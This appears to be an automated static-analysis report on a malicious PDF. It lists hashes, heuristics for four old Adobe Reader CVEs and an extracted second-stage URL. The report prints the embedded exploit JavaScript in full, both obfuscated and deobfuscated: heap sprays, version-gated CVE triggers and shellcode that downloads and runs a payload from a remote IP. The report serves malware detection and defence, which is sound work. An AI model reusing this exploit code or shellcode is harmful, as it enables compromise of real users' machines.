Malicious PDF — malware analysis report

Static analysis result for SHA-256 1b8c47d516b018d8…

MALICIOUS

PDF

12.5 KB First seen: 2026-05-09
MD5: d3bbb88e9d067a91356c5958e6459c82 SHA-1: a8166728958738e30791009bceea63948c46ec13 SHA-256: 1b8c47d516b018d8a950ebd03f2cc88e137d6ff157c41b6ab470ee5819c9b62a
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, specifically targeting CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The recovered JavaScript indicates that it attempts to download a second-stage payload from the URL http://66.199.229.50/w.php?f=92&e=5. This exploit kit functionality is a strong indicator of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=92&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11734 bytes
SHA-256: 15af0cc99cca99e96e78ee359f86d4a264743de57dad9c3adca75da0266916d8
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(62,63,1,36,1,40,45,40,74,74,3,51,43,39,23,40,55,20,65,12,14,14,55,20,63,28,36,75,55,20,65,10,63,28,55,20,59,10,36,75,55,20,36,49,12,75,55,20,12,12,10,63,55,20,14,75,28,70,55,20,75,70,65,3,55,20,65,3,12,70,55,20,70,28,75,70,55,20,59,70,65,3,55,20,10,14,45,28,55,20,59,14,65,3,55,20,12,12,70,65,55,20,14,14,50,3,55,20,10,36,65,3,55,20,70,12,12,28,55,20,12,12,59,75,55,20,65,45,11,28,55,20,45,10,36,36,55,20,63,63,45,70,55,20,3,65,63,63,55,20,75,70,65,3,55,20,28,12,12,70,55,20,12,49,75,14,55,20,59,10,70,14,55,20,65,59,63,3,55,20,11,75,12,75,55,20,36,75,65,10,55,20,10,45,59,10,55,20,36,3,36,49,55,20,10,45,75,28,55,20,65,3,10,14,55,20,12,28,59,10,55,20,59,75,65,3,55,20,59,65,12,10,55,20,63,10,70,12,55,20,65,3,10,14,55,20,11,70,59,14,55,20,63,10,70,12,55,20,28,49,12,12,55,20,75,45,75,49,55,20,30,50,63,28,55,20,28,10,70,12,55,20,50,3,12,12,55,20,3,36,70,63,55,20,12,65,45,70,55,20,59,75,63,11,55,20,28,45,70,65,55,20,70,50,28,3,55,20,50,30,70,12,55,20,36,3,75,70,55,20,12,3,63,45,55,20,59,10,45,63,55,20,10,36,36,14,55,20,10,36,65,3,55,20,70,12,11,75,55,20,14,14,50,50,55,20,70,28,65,3,55,20,65,50,75,3,55,20,36,28,75,14,55,20,10,75,63,63,55,20,70,28,11,75,55,20,50,65,65,3,55,20,50,50,70,12,55,20,70,75,65,3,55,20,70,12,65,3,55,20,30,3,28,10,55,20,10,49,10,36,55,20,36,3,28,12,55,20,30,50,10,12,55,20,14,65,65,3,55,20,65,70,11,70,55,20,70,28,59,50,55,20,59,75,12,12,55,20,49,14,70,12,55,20,63,12,36,3,55,20,14,65,65,3,55,20,65,3,70,65,55,20,14,30,63,59,55,20,10,49,70,10,55,20,49,65,36,65,55,20,63,63,63,63,55,20,36,11,63,63,55,20,36,65,63,49,55,20,70,70,70,70,55,20,70,70,70,70,55,20,10,70,10,65,55,20,75,70,14,30,55,20,63,63,14,65,55,20,70,70,70,70,55,20,10,70,70,70,55,20,28,70,65,12,55,20,10,70,45,49,55,20,65,3,10,10,55,20,65,3,36,28,55,20,45,70,10,36,55,20,28,12,65,12,55,20,63,63,70,10,55,20,14,65,36,12,55,20,14,36,14,63,55,20,70,70,70,70,55,20,59,10,14,65,55,20,14,28,59,11,55,20,10,75,14,50,55,20,45,14,63,63,55,20,28,75,65,12,55,20,65,3,70,65,55,20,36,65,36,65,55,20,63,63,14,45,55,20,63,63,63,63,55,20,70,11,36,3,55,20,59,11,36,3,55,20,36,28,65,45,55,20,70,45,70,75,55,20,70,70,70,70,55,20,10,28,65,50,55,20,70,28,11,75,55,20,70,75,28,59,55,20,59,11,11,75,55,20,14,59,14,10,55,20,28,59,59,12,55,20,11,75,75,75,55,20,59,14,70,75,55,20,12,12,59,11,55,20,28,59,12,11,55,20,11,75,75,75,55,20,11,70,70,65,55,20,59,12,11,50,55,20,10,12,11,70,55,20,63,65,14,65,55,20,70,70,70,70,55,20,63,63,70,70,55,20,70,28,10,14,55,20,36,65,65,3,55,20,28,49,12,12,55,20,28,59,10,45,55,20,45,50,75,75,55,20,59,59,70,70,55,20,14,11,59,70,55,20,28,59,59,75,55,20,45,50,75,75,55,20,11,36,70,10,55,20,14,28,14,75,55,20,28,14,14,28,55,20,45,50,75,75,55,20,70,70,70,49,55,20,65,30,10,49,55,20,70,75,28,45,55,20,65,65,12,70,55,20,45,50,75,75,55,20,75,45,70,75,55,20,14,30,10,45,55,20,14,30,70,70,55,20,10,12,70,70,55,20,14,30,10,59,55,20,63,63,70,70,55,20,45,75,10,14,55,20,28,70,65,10,55,20,45,14,59,10,55,20,70,70,14,30,55,20,63,63,10,12,55,20,70,75,10,14,55,20,70,70,14,30,55,20,36,3,65,12,55,20,10,12,70,28,55,20,10,14,63,63,55,20,65,12,70,75,55,20,70,28,28,12,55,20,70,11,36,3,55,20,45,12,36,3,55,20,65,70,75,59,55,20,70,70,12,63,55,20,63,30,59,10,55,20,65,70,75,59,55,20,70,70,12,63,55,20,28,75,59,10,55,20,70,70,14,30,55,20,63,36,14,30,55,20,10,14,63,63,55,20,36,65,70,65,55,20,63,36,49,28,55,20,63,63,63,63,55,20,75,36,65,36,55,20,36,28,70,36,55,20,63,36,49,65,55,20,70,36,65,30,55,20,14,63,65,49,55,20,3,50,70,45,55,20,28,30,12,12,55,20,10,3,65,30,55,20,28,14,45,3,55,20,59,49,75,14,55,20,45,30,12,14,55,20,59,70,11,63,55,20,59,75,14,65,55,20,59,70,59,75,55,20,11,63,12,30,55,20,12,14,11,63,55,20,11,36,12,14,55,20,12,49,12,45,55,20,11,36,12,49,55,20,12,11,12,11,55,20,11,36,12,49,55,20,12,70,12,10,55,20,59,59,11,63,55,20,59,70,11,36,55,20,59,70,14,65,55,20,14,14,12,63,55,20,12,49,12,50,55,20,11,14,12,11,55,20,12,50,14,10,55,20,70,70,12,10,55,20,70,70,70,70,40,56,63,20,17,28,44,62,5,17,8,36,33,18,57,1,57,30,6,32,21,74,38,25,58,62,42,36,1,57,30,29,42,36,17,39,44,58,2,11,34,32,21,74,38,57,30,16,23,57,30,56,7,57,30,23,57,30,29,43,20,3,43,44,57,62,17,39,1,70,6,32,21,69,11,74,56,57,36,44,20,57,17,8,57,30,56,7,8,63,20,17,28,44,62,5,17,8,3,24,1,74,38,18,30,57,8,50,31,39,23,17,36,25,8,72,57,57,30,21,1,74,56,18,30,57,8,18,25,23,70,24,70,28,70,28,70,28,70,28,56,18,30,57,8,30,50,50,57,23,70,24,75,70,70,70,70,70,56,18,30,57,8,15,30,21,42,5,30,50,23,20,17,36,43,28,30,15,36,1,3,51,43,39,74,56,18,30,57,8,43,28,48,42,36,17,23,15,30,21,42,5,30,50,29,42,36,17,39,44,58,2,11,56,18,30,57,8,32,21,23,30,50,50,57,22,1,43,28,48,42,36,17,16,70,24,12,65,74,56,18,30,57,8,21,30,57,43,15,23,20,17,36,43,28,30,15,36,1,0,55,20,49,70,49,70,55,20,49,70,49,70,0,74,56,21,30,57,43,15,23,36,33,18,57,1,21,30,57,43,15,6,32,21,74,56,18,30,57,8,28,5,20,17,44,11,23,1,18,25,22,70,24,75,70,70,70,70,70,74,69,30,50,50,57,56,63,5,57,1,18,30,57,8,28,5,20,17,44,23,70,56,28,5,20,17,44,34,28,5,20,17,44,11,56,28,5,20,17,44,16,16,74,38,50,31,39,64,28,5,20,17,44,61,23,21,30,57,43,15,16,15,30,21,42,5,30,50,56,7,8,18,30,57,8,5,18,36,57,63,42,5,25,23,20,17,36,43,28,30,15,36,1,0,55,20,70,28,70,28,55,20,70,28,70,28,0,74,56,25,58,62,42,36,1,5,18,36,57,63,42,5,25,29,42,36,17,39,44,58,34,75,75,49,10,11,74,38,5,18,36,57,63,42,5,25,16,23,5,18,36,57,63,42,5,25,56,7,8,44,58,62,43,29,28,5,42,42,30,3,54,44,5,57,36,23,67,5,42,42,30,3,29,28,5,42,42,36,28,44,35,4,30,62,42,46,17,63,5,1,38,43,20,3,51,73,0,0,6,4,43,39,73,5,18,36,57,63,42,5,25,7,74,56,7,8,63,20,17,28,44,62,5,17,8,15,57,62,17,44,63,1,74,38,17,5,15,23,20,17,36,43,28,30,15,36,1,0,55,20,70,72,70,72,55,20,70,72,70,72,55,20,70,72,70,72,55,20,70,72,70,72,0,74,56,18,30,57,8,15,30,21,42,5,30,50,23,20,17,36,43,28,30,15,36,1,3,51,43,39,74,56,58,36,30,15,3,42,5,28,31,23,17,5,15,16,15,30,21,42,5,30,50,56,3,62,39,3,42,5,28,31,23,20,17,36,43,28,30,15,36,1,0,55,20,70,72,70,72,55,20,70,72,70,72,0,74,56,58,36,30,50,36,57,43,62,33,36,23,11,70,56,43,15,57,30,21,23,58,36,30,50,36,57,43,62,33,36,16,58,36,30,15,3,42,5,28,31,29,42,36,17,39,44,58,56,25,58,62,42,36,1,3,62,39,3,42,5,28,31,29,42,36,17,39,44,58,34,43,15,57,30,21,74,38,3,62,39,3,42,5,28,31,16,23,3,62,39,3,42,5,28,31,56,7,8,63,62,42,42,3,42,5,28,31,23,3,62,39,3,42,5,28,31,29,43,20,3,43,44,57,62,17,39,1,70,6,43,15,57,30,21,74,56,3,42,5,28,31,23,3,62,39,3,42,5,28,31,29,43,20,3,43,44,57,62,17,39,1,70,6,3,62,39,3,42,5,28,31,29,42,36,17,39,44,58,22,43,15,57,30,21,74,56,25,58,62,42,36,1,3,42,5,28,31,29,42,36,17,39,44,58,16,43,15,57,30,21,34,70,24,75,70,70,70,70,74,38,3,42,5,28,31,23,3,42,5,28,31,16,3,42,5,28,31,16,63,62,42,42,3,42,5,28,31,56,7,8,4,36,4,23,17,36,25,8,72,57,57,30,21,1,74,56,63,5,57,1,62,23,70,56,62,34,45,75,70,70,56,62,16,16,74,38,4,36,4,64,62,61,23,3,42,5,28,31,16,58,36,30,15,3,42,5,28,31,56,7,8,18,30,57,8,17,20,4,23,45,11,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,56,20,44,62,42,29,15,57,62,17,44,63,1,0,55,75,10,70,70,70,63,0,6,17,20,4,74,56,7,8,63,20,17,28,44,62,5,17,8,39,36,44,62,28,5,17,1,74,38,18,30,57,8,30,57,57,21,23,17,36,25,8,72,57,57,30,21,1,74,56,62,63,1,30,15,15,29,50,5,28,29,67,5,42,42,30,3,29,39,36,44,46,28,5,17,74,38,18,30,57,8,15,30,21,42,5,30,50,23,20,17,36,43,28,30,15,36,1,3,51,43,39,74,56,18,30,57,8,58,9,32,10,70,70,67,71,23,15,30,21,42,5,30,50,29,42,36,17,39,44,58,2,11,56,18,30,57,8,32,21,23,70,24,75,70,70,70,70,70,22,1,58,9,32,10,70,70,67,71,16,70,24,12,65,74,56,18,30,57,8,21,30,57,43,15,23,20,17,36,43,28,30,15,36,1,0,55,20,49,70,49,70,55,20,49,70,49,70,0,74,56,21,30,57,43,15,23,36,33,18,57,1,21,30,57,43,15,6,32,21,74,56,18,30,57,8,15,10,72,51,68,14,10,63,23,1,70,24,70,28,70,28,70,28,70,28,22,70,24,75,70,70,70,70,70,74,69,70,24,75,70,70,70,70,70,56,63,5,57,1,18,30,57,8,18,32,28,27,52,49,14,21,23,70,56,18,32,28,27,52,49,14,21,34,15,10,72,51,68,14,10,63,56,18,32,28,27,52,49,14,21,16,16,74,38,30,57,57,21,64,18,32,28,27,52,49,14,21,61,23,21,30,57,43,15,16,15,30,21,42,5,30,50,56,7,8,18,30,57,8,44,19,26,58,71,3,13,25,23,20,17,36,43,28,30,15,36,1,0,55,70,49,0,74,56,25,58,62,42,36,1,44,19,26,58,71,3,13,25,29,42,36,17,39,44,58,34,70,24,75,70,70,70,74,38,44,19,26,58,71,3,13,25,16,23,44,19,26,58,71,3,13,25,56,7,8,44,19,26,58,71,3,13,25,23,0,71,29,0,16,44,19,26,58,71,3,13,25,56,30,15,15,29,50,5,28,29,67,5,42,42,30,3,29,39,36,44,46,28,5,17,1,44,19,26,58,71,3,13,25,74,56,7,7,8,30,66,42,20,39,62,17,43,23,30,15,15,29,15,42,20,39,46,17,43,56,18,30,57,8,43,18,23,15,30,57,43,36,46,17,44,1,30,15,15,29,18,62,36,25,36,57,37,36,57,43,62,5,17,29,44,5,54,44,57,62,17,39,1,74,29,28,58,30,57,72,44,1,70,74,74,56,63,5,57,1,18,30,57,8,62,23,70,56,62,34,30,66,42,20,39,62,17,43,29,42,36,17,39,44,58,56,62,16,16,74,38,62,63,1,30,66,42,20,39,62,17,43,64,62,61,29,17,30,4,36,23,23,40,35,54,28,57,62,15,44,40,74,38,18,30,57,8,42,18,23,30,66,42,20,39,62,17,43,64,62,61,29,18,36,57,43,62,5,17,56,7,7,8,62,63,1,1,42,18,23,23,49,74,53,53,1,1,43,18,23,23,65,74,41,41,1,42,18,34,23,65,29,45,11,74,74,74,38,39,36,44,62,28,5,17,1,74,56,7,36,42,43,36,8,62,63,1,42,18,23,23,59,29,45,74,38,15,57,62,17,44,63,1,74,56,7,36,42,43,36,8,62,63,1,1,1,43,18,23,23,14,74,53,53,1,43,18,23,23,59,74,74,41,41,1,42,18,34,59,29,45,45,74,74,38,3,24,1,74,56,7,36,42,43,36,8,62,63,1,1,42,18,60,23,49,29,45,74,53,53,1,42,18,34,23,49,29,11,74,53,53,1,42,18,60,23,65,29,45,12,74,53,53,1,42,18,34,23,65,29,45,59,74,74,38,63,20,17,28,44,62,5,17,8,30,1,74,38,20,44,62,42,29,15,57,62,17,44,50,1,40,15,47,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,8,73,8,21,21,21,21,45,45,45,40,6,17,36,25,8,52,30,44,36,1,74,74,56,7,18,30,57,8,58,23,30,15,15,29,15,42,20,39,46,17,43,56,63,5,57,1,18,30,57,8,63,23,70,56,63,34,58,29,42,36,17,39,44,58,56,63,16,16,74,38,62,63,1,58,64,63,61,29,17,30,4,36,23,23,40,35,54,28,57,62,15,44,40,74,38,18,30,57,8,62,23,58,64,63,61,29,18,36,57,43,62,5,17,56,7,7,8,62,63,1,1,62,60,65,29,45,11,74,41,41,1,62,34,65,29,11,74,74,38,28,23,17,36,25,8,72,57,57,30,21,1,74,56,18,30,57,8,50,23,20,17,36,43,28,30,15,36,1,40,55,20,49,70,49,70,55,20,49,70,49,70,40,74,56,18,30,57,8,36,23,20,17,36,43,28,30,15,36,1,3,51,43,39,74,56,25,58,62,42,36,1,50,29,42,36,17,39,44,58,34,23,70,24,65,70,70,70,74,38,50,16,23,50,56,7,50,23,50,29,43,20,3,43,44,57,1,70,6,70,24,65,70,70,70,22,36,29,42,36,17,39,44,58,74,56,63,5,57,1,63,23,70,56,63,34,11,49,70,70,56,63,16,16,74,38,28,64,63,61,23,50,16,36,56,7,30,1,74,56,30,1,74,56,44,57,21,38,44,58,62,43,29,4,36,50,62,30,29,17,36,25,66,42,30,21,36,57,1,17,20,42,42,74,56,7,28,30,44,28,58,1,36,74,38,7,30,1,74,56,7,7);
a=new String("'(*bmo,} W523G6p+nvUuy-=xwMQc.akqz<EeV{g'&lst1I@_9djD|S%;rh7>]if[8PCK/0NA:)4");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: 284a175dd7442f366bded5cd024022e82d8c1d31108b4594763023ac93a81a0b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u393d%u2632%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: 7c39d678945c17b79cc901cfffc58203c7e5d95b7a278b8960057c8bf402cd25
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u393d%u2632%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 